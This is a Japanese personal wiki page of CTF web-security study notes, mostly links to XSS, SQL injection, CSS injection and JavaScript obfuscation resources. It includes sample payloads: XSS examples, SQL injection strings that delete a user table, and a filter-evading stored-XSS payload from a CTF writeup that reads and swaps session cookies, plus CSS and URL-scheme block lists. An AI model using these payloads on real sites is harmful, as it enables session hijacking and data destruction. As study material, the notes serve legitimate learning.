プロジェクト

全般

プロフィール

CTF Web » 履歴 » バージョン 2

kanata, 2025/05/10 09:23

1 1 kanata
# CTF Web
2
3 2 kanata
{{last_updated_at}}
4
5
{{>toc}}
6 1 kanata
7
[[JavaScript]]も必要に応じて参照すべし
8
9
# Chrome DevTools
10
11
## snippets
12
13
[[JavaScript]]を参照
14
15
## 描画フレーム毎のスクリーンショットを記録/再生する機能
16
17
2015.10.11現在 Canary版のみ
18
19
※オペレーション未確認
20
21
## Canvas Profiles (Canvas API のダンプ、Draw call の可視化、スナップショット)
22
23
※オペレーション未確認
24
25
26
27
28
29
# Cheat Sheets
30
31
## [OWASP Cheat Sheet Series](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series)
32
33
OWASP Cheat Sheets - XSS (Cross Site Scripting) Prevention Cheat Sheet
34
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
35
36
OWASP Cheat Sheets - XSS Filter Evasion Cheat Sheet
37
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
38
39
OWASP Cheat Sheets - SQL Injection Prevention Cheat Sheet
40
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
41
42
## katagaitaiCTF XSS千本ノック
43
44
0x90 - katagaitai CTF勉強会 #9 writeup(Webパート)
45
http://0x90.hatenablog.jp/entry/2017/08/27/201021
46
47
Qiita - XSS千本ノック@katagaitaiCTF勉強会 writeup
48
http://qiita.com/howmuch/items/981a9c85620321c20c69
49
50
HayatoDoi.github.io - katagaitaiCTF xss千本ノック write up
51
https://hayatodoi.github.io/page.html?name=2017-08-28_katagaitaiCTF%20xss%E5%8D%83%E6%9C%AC%E3%83%8E%E3%83%83%E3%82%AF%20write%20up.md
52
53
ななふんのブログ - katagaitai CTF勉強会 #9 XSS千本ノック Writeup
54
http://sec-rookie.hatenablog.com/entry/2017/08/29/015957
55
56
## XSS
57
58
XSS cheat sheet - porswiggerがリリースしたXSSのcheat sheet
59
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
60
61
github masatokinugawa/filterbypass - Browser's XSS Filter Bypass Cheat Sheet
62
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#2%E3%81%A4%E4%BB%A5%E4%B8%8A%E3%81%AE%E6%B3%A8%E5%85%A5%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88%E3%81%8C%E3%81%82%E3%82%8B%E5%A0%B4%E5%90%88
63
64
色んなXSS
65
http://nootropic.me/blog/2015/02/16/%E8%89%B2%E3%82%93%E3%81%AAxss/#more-396
66
67
HTML5 Security Cheatsheet
68
https://html5sec.org/
69
70
cure53/HTTPLeaks (HTTPリクエストを発生させるような要素/属性の一覧)
71
https://github.com/cure53/HTTPLeaks
72
73
SHARED ONLINE FUZZING (XSSスキャナーのアウトプットを活用できる)
74
http://shazzer.co.uk
75
76
Probing to Find XSS と WebGunというツール
77
http://brutelogic.com.br/blog/category/xss-building/ http://brutelogic.com.br/webgun/
78
79
Unleashing an Ultimate XSS Polyglot
80
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
81
82
FOOLING THE INTERPRETER - XSS Cheat Sheet
83
http://brutelogic.com.br/blog/cheat-sheet/
84
85
Qiita - 俺的MarkdownにおけるXSS
86
https://qiita.com/Azunyan1111/items/64d23396bcf2213af024
87
88
89
90
91
92
93
### CSSの制限(この属性の制限をしないとJavaScript埋め込まれるかも)
94
95
* expression
96
* behavior / behaviour
97
* moz-binding
98
* include-source
99
* url
100
* absolute
101
* fixed
102
* content
103
* -o-link
104
* AlphaImageLoader
105
* javascript:
106
* vbscript:
107
* data: 
108
109
### リンクの制限(ブラウザでこれを実装している。サーバ側で上手くチェックしてないとすり抜けられる・・・かも)
110
111
* http:
112
* https:
113
* ftp:
114
* mailto:
115
* file:
116
* telnet:
117
* gopher:
118
* news:
119
* wais:
120
121
## SQLインジェクション
122
123
SQL Injection Cheat Sheet
124
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
125
126
Hacoder - SQL Injection Authentication Bypass Cheat Sheet
127
http://www.hacoder.com/2015/10/sql-injection-authentication-bypass-cheat-sheet/
128
129
GracefulSecurity - SQL Injection Cheat Sheet: MySQL
130
https://www.gracefulsecurity.com/category/cheat-sheets/
131
132
GracefulSecurity - SQL Injection Cheat Sheet: MSSQL
133
https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/
134
135
shikata ga nai - SQL injection cheat sheet(1)
136
https://cysec148.hatenablog.com/entry/2019/12/05/123227
137
138
139
140
141
142
# XSS
143
144
| 種類   | パターン      | 例                                                                      | 備考 |
145
|--------|---------------|-------------------------------------------------------------------------|------|
146
| 反射型 | Reflected XSS | ```<html> <body> XSS HERE: <script>alert(1)</script> </body> </html>``` |
147
| 反射型 | 属性内        | ```<html> <body> <input name="q" value=""onmouseover=alert(1)//"> </body> </html>``` |
148
| 反射型 | リンク部分    | ```<html> <body> <a href="javascript:alert(1)">Click</a> </body> </html>``` | Auditorがスルー
149
| 反射型 | 文字列リテラル| ```<body> <script> var q="";alert(1)//"; </script> </body>``` | Auditorがスルー
150
| DOM Based XSS | その1 | ```<body> <script> document.write(location.hash); </script> </body>``` | IEがスルー
151
| DOM Based XSS | その2 | ```<body> <script> document.body.innerHTML=location.hash; </script> </body>``` | IEがスルー,Auditorがスルー
152
| 持続型/蓄積型 | Stored XSS | ```<div id="profile"> <script>alert(1)</script> </div>``` | IEがスルー,Auditorがスルー,NoScript がスルー
153
154
155
SecurityCamp2015「バグハンティング入門」
156
http://www.slideshare.net/masatokinugawa/ss-51723687
157
158
# SQLインジェクション
159
160
http://npnl.hatenablog.jp/entry/20080412/1207965105
161
http://matome.naver.jp/odai/2137849639545516001
162
https://www.nicksecuritylog.com/entry/SQLInjection_basic
163
164
```
165
' OR 'A' = 'A
166
'; DELETE FROM ユーザマスタ WHERE 'A' = 'A
167
'; DELETE FROM ユーザマスタ WHERE 'A' = 'A' --
168
fuga' OR ユーザID = 'admin
169
```
170
171
## SQLインジェクション - 対象DBを判別する
172
173
* 「||」を利用した文字列連結に成功している場合、SQLiteを利用していると判断できる。
174
175
>ex) hogehoge と hoge'||'hoge の結果が同じなら SQLiteです。
176
177
* コメント文字の扱いから判断する。
178
179
>sqlite
180
>>#はコメントにならない(エラーにならない)
181
182
>mysql 
183
>>#はコメントになる(エラーになる)
184
185
186
## よく使うMySQL(MariaDB)コマンド
187
188
対話型インタフェース
189
190
```
191
 SHOW DATABASES; — DBの一覧
192
 USE hogehoge; — hogehogeのDBを参照
193
 SHOW TABLES; — テーブル一覧
194
 SHOW COLUMNS FROM hoge; — hogeテーブルのカラムを表示
195
 SHOW INDEX FROM hoge; — hogeテーブルのインデックスを表示。すべてのクエリに対して LIKE "hoge%"などLIKE句が利用できる
196
 EXPLAIN SELECT * FROM hogehgoe; — "SELECT * FROM hogehgoe"がどのように実行されるのか検証するコマンド
197
198
```
199
200
その他(コマンドインタフェース)
201
202
```
203
$ mysql -hlocalhost -uroot -ppass # -h ホスト -u ユーザー -p パスワード
204
$ mysqldump database > hoge.sql # hoge.aqlファイルにdatabaseのスキーマをダンプする
205
$ mysql database < hoge.sql #hoge.sqlファイルのクエリをdatabase上で実行する
206
```
207
208
## ブラインドSQLインジェクション
209
210
俺的備忘録 〜なんかいろいろ〜 - シェル芸でブラインドSQLインジェクションを行う
211
https://orebibou.com/2019/01/%e3%82%b7%e3%82%a7%e3%83%ab%e8%8a%b8%e3%81%a7%e3%83%96%e3%83%a9%e3%82%a4%e3%83%b3%e3%83%89sql%e3%82%a4%e3%83%b3%e3%82%b8%e3%82%a7%e3%82%af%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e8%a1%8c%e3%81%86/
212
213
## Memo
214
215
参考 T.Teradaの日記 - [セキュリティ]SQL Injectionシグネチャの更新
216
http://d.hatena.ne.jp/teracc/20150507
217
218
219
# CSS Injection
220
221
CSS Injection (+ Recursive Import) の原理と攻撃手法およびその実装について
222
http://szarny.hatenablog.com/entry/2019/10/17/CSS_Injection_%28%2B_Recursive_Import%29_%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E6%94%BB%E6%92%83%E6%89%8B%E6%B3%95%E3%81%8A%E3%82%88%E3%81%B3%E3%81%9D%E3%81%AE%E5%AE%9F%E8%A3%85%E3%81%AB%E3%81%A4%E3%81%84
223
224
# JavaScript難読化
225
226
## encode方式
227
228
jjencode
229
http://utf-8.jp/public/jjencode.html
230
231
aaencode
232
http://utf-8.jp/public/aaencode.html
233
234
JSFuck
235
http://www.jsfuck.com/
236
237
JavaScript を PNG に圧縮する
238
http://yomotsu.net/blog/2015/03/01/js2png.html
239
240
## decode
241
242
Caffeine Monkey
243
http://kinshachi.ddo.jp/blog/comp/archives/000799.html
244
245
malzilla
246
http://malzilla.sourceforge.net/
247
248
aadecode
249
http://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
250
251
Monyer Js(jjdecode Base64,MD5,SHA1,UTF7,URI等々の変換ができる)
252
http://monyer.com/demo/monyerjs/
253
254
ESDeobfuscate
255
http://m1el.github.io/esdeobfuscate/
256
257
とりあえず動かしてみるには
258
http://javascripter.hatenablog.com/entry/20090607/1244386028
259
260
```html
261
<html><head><script>
262
263
Object.constructor = function (code) {
264
  alert(Function(code)());
265
};
266
267
// ここに記号化されたプログラムを貼る
268
269
</script></head><body></body></html>
270
```
271
272
難読化された中で何か変数に設定されたか確認するには
273
JavaScriptコンソールで
274
275
```
276
console.dir(window)
277
```
278
279
javascript-visualizer - JavaScriptの実行内容を可視化
280
https://tylermcginnis.com/javascript-visualizer
281
282
# WebAssembly
283
284
WebAssembly Reference Manual
285
https://github.com/sunfishcode/wasm-reference-manual/blob/master/WebAssembly.md
286
287
WebAssembly解いてみる
288
https://xrekkusu.hatenablog.jp/entry/2018/12/12/125052
289
290
WebAssembly テキストフォーマットを理解する
291
https://developer.mozilla.org/ja/docs/WebAssembly/Understanding_the_text_format
292
293
# Study
294
295
こんとろーるしーこんとろーるぶい - 【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)
296
https://graneed.hatenablog.com/entry/2019/12/29/115100
297
298
jhaddix
299
https://github.com/jhaddix [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm)
300
301
> KnowHow満載
302
303
304
305
306
## JavaScriptセキュリティの基礎知識
307
308
JavaScriptセキュリティの基礎知識 第1回 Webセキュリティのおさらい その1
309
http://gihyo.jp/dev/serial/01/javascript-security/0001
310
311
JavaScriptセキュリティの基礎知識 第2回 Webセキュリティのおさらい その2 XSS
312
http://gihyo.jp/dev/serial/01/javascript-security/0002
313
314
JavaScriptセキュリティの基礎知識 第3回 Webセキュリティのおさらい その3 CSRF・オープンリダイレクト・クリックジャッキング
315
http://gihyo.jp/dev/serial/01/javascript-security/0003
316
317
JavaScriptセキュリティの基礎知識 第4回 URLとオリジン
318
http://gihyo.jp/dev/serial/01/javascript-security/0004
319
320
JavaScriptセキュリティの基礎知識 第5回 問題を発生させにくくするURLの扱い方
321
http://gihyo.jp/dev/serial/01/javascript-security/0005
322
323
JavaScriptセキュリティの基礎知識 第6回 DOM-based XSS その1
324
http://gihyo.jp/dev/serial/01/javascript-security/0006
325
326
JavaScriptセキュリティの基礎知識 第7回 DOM-based XSS その2
327
http://gihyo.jp/dev/serial/01/javascript-security/0007
328
329
JavaScriptセキュリティの基礎知識 第8回 DOM-based XSS その3
330
http://gihyo.jp/dev/serial/01/javascript-security/0008
331
332
# Memo
333
334
【2020年】CTF Web問題の攻撃手法まとめ
335
https://graneed.hatenablog.com/entry/2021/08/09/115452
336
337
【2021年】CTF Web問題の攻撃手法まとめ
338
https://graneed.hatenablog.com/entry/2022/09/28/100000
339
340
競技セキュリティまとめのまとめ
341
https://blog.hamayanhamayan.com/entry/2023/02/22/085938
342
343
雑記 - TMCTF Writeup (Analysis Offensive 300)
344
http://icchy.hatenablog.jp/entry/2015/09/28/115402
345
346
nameパラメータに
347
348
~~~html
349
"><scrscriptipt>tmp=document.cookie;
350
document.cookie='PHPSESSID=0ufcvu21seft5sn3l2sllni896';
351
location.href='result.php?name='+tmp</scripscriptt>
352
~~~
353
354
をURLエンコードしたものを渡した以下のURLを用意し,contact.phpのcommentに入力して送信した.
355
356
>蓄積型XSS(Stored XSS)を利用している
357
358
~~~
359
http://localhost:40100/737c08b6f0ea477cb4ce3eb1b8e81a87/contact.php?name=%22%3E%3Cscrscriptipt%3Etmp%3Ddocument.cookie%3B%0D%0Adocument.cookie%3D%27PHPSESSID%3D0ufcvu21seft5sn3l2sllni896%27%3B%0D%0Alocation.href%3D%27result.php%3Fname%3D%27%2Btmp%3C%2Fscripscriptt%3E
360
~~~
361
362
---
363
364
crt.sh Certificate Search (Certificate Transparencyのログに登録されているサブドメインを列挙)
365
https://crt.sh/
366
367
Firing Range
368
http://public-firing-range.appspot.com/
369
370
>Googleが脆弱性スキャナーツールの性能を評価するために作られたWebサイト
371
372
Github cure53/H5SC - Unicode Characters in URLs
373
https://github.com/cure53/H5SC/wiki/Unicode-Characters-in-URLs
374
375
>特殊な文字でも、URLでは適切な文字に変換されるブラウザの仕様
376
377
378
379
~~~
380
₨ resolves to http://rs.org/
381
~~~
382
383
Github - athre0z/wasm
384
https://github.com/athre0z/wasm
385
386
>WebAssembly decoder & disassembler library
387
388
Masato Kinugawa Security Blog - ブラウザのXSS保護機能をバイパスする(14)
389
http://masatokinugawa.l0.cm/2017/05/xss14.html
390
391
Apache HTTP Serverのバージョンを当てる方法
392
https://www.mbsd.jp/blog/20170904.html
393
394
CTFを助けるターミナルテクニック
395
https://www.ryotosaito.com/blog/?p=113
396
397
web FUzz ChecK
398
https://github.com/m---/webfuck
399
400
CTFで出題されたXS-Leaks
401
https://speakerdeck.com/ntomoya/ctfdechu-ti-saretaxs-leaks-a95f5b6a-134d-4537-a104-233ce9b8c56f
402
403
ブラウザ開発者ツールのネットワークタブに表示されない情報送信手法
404
https://qiita.com/satoki/items/f4398327985b830ca23d
405
406
## CSSを利用したキーロギング
407
408
maxchehab/CSS-Keylogging
409
https://github.com/maxchehab/CSS-Keylogging
410
411
>CSS セレクタで form の value を引っ掛けて background プロパティで外部サーバにリクエスト投げれば,JS 使わなくても CSS だけでユーザの入力を盗める